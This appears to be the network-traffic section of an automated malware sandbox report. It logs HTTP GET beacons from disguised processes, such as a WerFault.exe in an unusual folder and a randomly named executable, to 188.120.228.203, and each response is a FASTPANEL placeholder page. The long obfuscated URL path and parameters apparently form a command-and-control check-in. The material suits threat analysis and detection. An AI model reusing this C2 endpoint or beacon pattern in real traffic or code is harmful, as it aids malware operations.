Nov 27, 2024 04:02:51.873307943 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.873352051 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.874850988 CET	49827	80	192.168.2.9	188.120.228.203

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 04:01:57.871406078 CET	1.1.1.1	192.168.2.9	0x6a7f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 04:01:57.871406078 CET	1.1.1.1	192.168.2.9	0x6a7f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

188.120.228.203

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49723	188.120.228.203	80	7604	C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:02:06.299420118 CET	765	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1 Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:07.712311983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:07 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:
Nov 27, 2024 04:02:07.712337017 CET	465	IN	Data Raw: 31 30 30 25 7d 62 75 74 74 6f 6e 2c 6f 70 74 69 6f 6e 2c 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 75 6c 20 6c Data Ascii: 100%}button,option,select{cursor:pointer}a{color:inherit;text-decoration:none}ul li{list-style:none}img{vertical-align:top}h1,h2,h3,h4,h5,h6{font-weight:inherit;font-size:inherit}.lock body{overflow:hidden;touch-action:none;-ms-scroll-chaining
Nov 27, 2024 04:02:07.712476015 CET	1236	IN	Data Raw: 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 76 77 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 Data Ascii: r;justify-content:center;min-height:100vh;min-width:100vw;padding:1rem}.window-main{background-color:#13151a;border-radius:.75rem;max-width:45.625rem}.window-main .svg-one{position:absolute;top:-240px;right:-360px;z-index:-1}.window-main .svg-
Nov 27, 2024 04:02:07.712554932 CET	1236	IN	Data Raw: 64 64 69 6e 67 3a 33 2e 37 35 72 65 6d 20 38 2e 39 33 37 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 62 6f 64 79 7b 66 Data Ascii: dding:3.75rem 8.9375rem}.window-main__title{font-size:2.25rem}.window-main__body{font-size:1.0625rem}.window-main__info{margin-bottom:1.875rem}.window-main__list{padding-left:.6875rem}.window-main__item{padding-left:.875rem}}@media (max-width:
Nov 27, 2024 04:02:07.712569952 CET	1236	IN	Data Raw: 70 28 31 2e 35 72 65 6d 20 2c 2d 34 2e 33 30 34 38 37 38 30 34 38 38 72 65 6d 20 2b 20 32 39 2e 30 32 34 33 39 30 32 34 33 39 76 77 20 2c 38 2e 39 33 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 72 69 67 Data Ascii: p(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-right:calc(1.5rem + 7.4375*(100vw - 20rem)/ 25.625)}}@supports (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:clamp
Nov 27, 2024 04:02:07.712650061 CET	672	IN	Data Raw: 38 35 33 36 36 72 65 6d 20 2b 20 2e 37 33 31 37 30 37 33 31 37 31 76 77 20 2c 31 2e 30 36 32 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 66 6f 6e 74 2d 73 69 7a 65 3a 63 6c 61 6d 70 28 30 2e 38 37 35 72 65 6d 20 2c 30 2e 37 Data Ascii: 85366rem + .7317073171vw ,1.0625rem)}}@supports not (font-size:clamp(0.875rem ,0.7286585366rem + 0.7317073171vw ,1.0625rem)){.window-main__body{font-size:calc(.875rem + .1875*(100vw - 20rem)/ 25.625)}}@supports (margin-bottom:clamp(1.5rem ,1.2
Nov 27, 2024 04:02:07.712729931 CET	1236	IN	Data Raw: 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 2e 36 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 Data Ascii: rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:cla
Nov 27, 2024 04:02:07.712806940 CET	1236	IN	Data Raw: 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 09 09 09 09 09 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 74 65 72 3d 22 75 72 6c 28 23 66 69 6c 74 65 72 30 5f 66 Data Ascii: xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.696 231.133 363.018 2
Nov 27, 2024 04:02:07.712817907 CET	1236	IN	Data Raw: 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 32 34 22 20 72 65 73 75 6c 74 3d 22 65 66 66 65 63 74 31 5f 66 6f 72 65 67 72 6f 75 6e 64 42 6c 75 72 5f 32 30 30 31 5f 35 22 20 2f 3e 0a 09 09 09 09 09 09 09 3c 2f 66 69 6c 74 65 72 3e 0a 09 09 09 Data Ascii: stdDeviation="124" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
Nov 27, 2024 04:02:07.712830067 CET	1236	IN	Data Raw: 73 20 70 6f 69 6e 74 65 64 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 2c 20 62 75 74 20 74 68 65 72 65 20 69 73 20 6e 6f 20 73 69 74 65 20 77 69 74 68 20 74 68 61 74 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e Data Ascii: s pointed to the server, but there is no site with that domain name on the server.</li><li class="window-main__item">You are accessing the site via HTTPS, but the site does not have an SSL certificate installed.</li><li class="
Nov 27, 2024 04:02:07.833177090 CET	896	IN	Data Raw: 3d 22 66 69 6c 74 65 72 30 5f 66 5f 32 30 30 31 5f 31 30 22 20 78 3d 22 30 2e 37 30 39 39 36 31 22 20 79 3d 22 32 30 38 2e 36 32 36 22 20 77 69 64 74 68 3d 22 35 31 30 2e 32 32 22 20 68 65 69 67 68 74 3d 22 35 38 30 2e 34 37 37 22 20 66 69 6c 74 Data Ascii: ="filter0_f_2001_10" x="0.709961" y="208.626" width="510.22" height="580.477" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in=
Nov 27, 2024 04:02:07.927748919 CET	741	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1 Host: 188.120.228.203
Nov 27, 2024 04:02:08.378654003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:08 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49746	188.120.228.203	80	8000	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:02:16.107333899 CET	860	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1 Accept: / Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:17.428755045 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:17 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes
Nov 27, 2024 04:02:17.428841114 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" co
Nov 27, 2024 04:02:17.428879023 CET	1236	IN	Data Raw: 6e 67 3a 6e 6f 6e 65 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 6e 6f 6e 65 7d 2e 77 72 61 70 70 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 Data Ascii: ng:none;overscroll-behavior:none}.wrapper{min-height:100%;display:flex;overflow:hidden}@supports (overflow:clip){.wrapper{overflow:clip}}.wrapper>main{flex:1 1 auto}.wrapper>*{min-width:0}.main{display:flex;align-items:center;justify-content:c
Nov 27, 2024 04:02:17.429060936 CET	448	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 30 36 32 35 72 65 6d 3b 66 6f 6e Data Ascii: fy-content:center;align-items:center;text-align:center;border-radius:1.0625rem;font-weight:500;padding:.375rem .8125rem}@media (min-width:45.625em){.window-main__actions,.window-main__body{margin-top:1.875rem}.window-main{padding:3.75rem 8.937
Nov 27, 2024 04:02:17.429070950 CET	1236	IN	Data Raw: 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: }@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem}.window-main__list{padding-left:.5625rem}.window-main__ite
Nov 27, 2024 04:02:17.429083109 CET	1236	IN	Data Raw: 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e Data Ascii: n{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:calc(1.5rem + 2.25*(100vw - 20rem)/ 25.625)}}@supports (paddin
Nov 27, 2024 04:02:17.429092884 CET	448	IN	Data Raw: 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 31 76 77 20 2c 31 2e 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 6e 66 6f 7b 6d 61 Data Ascii: m:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.w
Nov 27, 2024 04:02:17.429294109 CET	1236	IN	Data Raw: 72 65 6d 20 2c 2e 34 36 34 39 33 39 30 32 34 34 72 65 6d 20 2b 20 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 2e 36 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 30 Data Ascii: rem ,.4649390244rem + .487804878vw ,.6875rem)}}@supports not (padding-left:clamp(0.5625rem ,0.4649390244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:cla
Nov 27, 2024 04:02:17.429363012 CET	1236	IN	Data Raw: 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 09 09 09 09 09 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 74 65 72 3d 22 75 72 6c 28 23 66 69 6c 74 65 72 30 5f 66 Data Ascii: xmlns="http://www.w3.org/2000/svg"><g opacity="0.7" filter="url(#filter0_f_2001_5)"><path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.696 231.133 363.018 2
Nov 27, 2024 04:02:17.429378986 CET	448	IN	Data Raw: 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 32 34 22 20 72 65 73 75 6c 74 3d 22 65 66 66 65 63 74 31 5f 66 6f 72 65 67 72 6f 75 6e 64 42 6c 75 72 5f 32 30 30 31 5f 35 22 20 2f 3e 0a 09 09 09 09 09 09 09 3c 2f 66 69 6c 74 65 72 3e 0a 09 09 09 Data Ascii: stdDeviation="124" result="effect1_foregroundBlur_2001_5" /></filter><filter id="filter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
Nov 27, 2024 04:02:17.548954010 CET	1236	IN	Data Raw: 66 66 65 63 74 31 5f 66 6f 72 65 67 72 6f 75 6e 64 42 6c 75 72 5f 32 30 30 31 5f 35 22 20 2f 3e 0a 09 09 09 09 09 09 09 3c 2f 66 69 6c 74 65 72 3e 0a 09 09 09 09 09 09 09 3c 66 69 6c 74 65 72 20 69 64 3d 22 66 69 6c 74 65 72 32 5f 66 5f 32 30 30 Data Ascii: ffect1_foregroundBlur_2001_5" /></filter><filter id="filter2_f_2001_5" x="59.2946" y="36.0856" width="514.378" height="571.162" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0"
Nov 27, 2024 04:02:17.623728037 CET	836	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1 Accept: / Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 188.120.228.203
Nov 27, 2024 04:02:18.055687904 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:17 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49767	188.120.228.203	80

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:02:24.174798965 CET	697	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:25.553308964 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:25 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes
Nov 27, 2024 04:02:25.553406000 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" co
Nov 27, 2024 04:02:25.553419113 CET	1236	IN	Data Raw: 6e 67 3a 6e 6f 6e 65 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 6e 6f 6e 65 7d 2e 77 72 61 70 70 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 Data Ascii: ng:none;overscroll-behavior:none}.wrapper{min-height:100%;display:flex;overflow:hidden}@supports (overflow:clip){.wrapper{overflow:clip}}.wrapper>main{flex:1 1 auto}.wrapper>*{min-width:0}.main{display:flex;align-items:center;justify-content:c
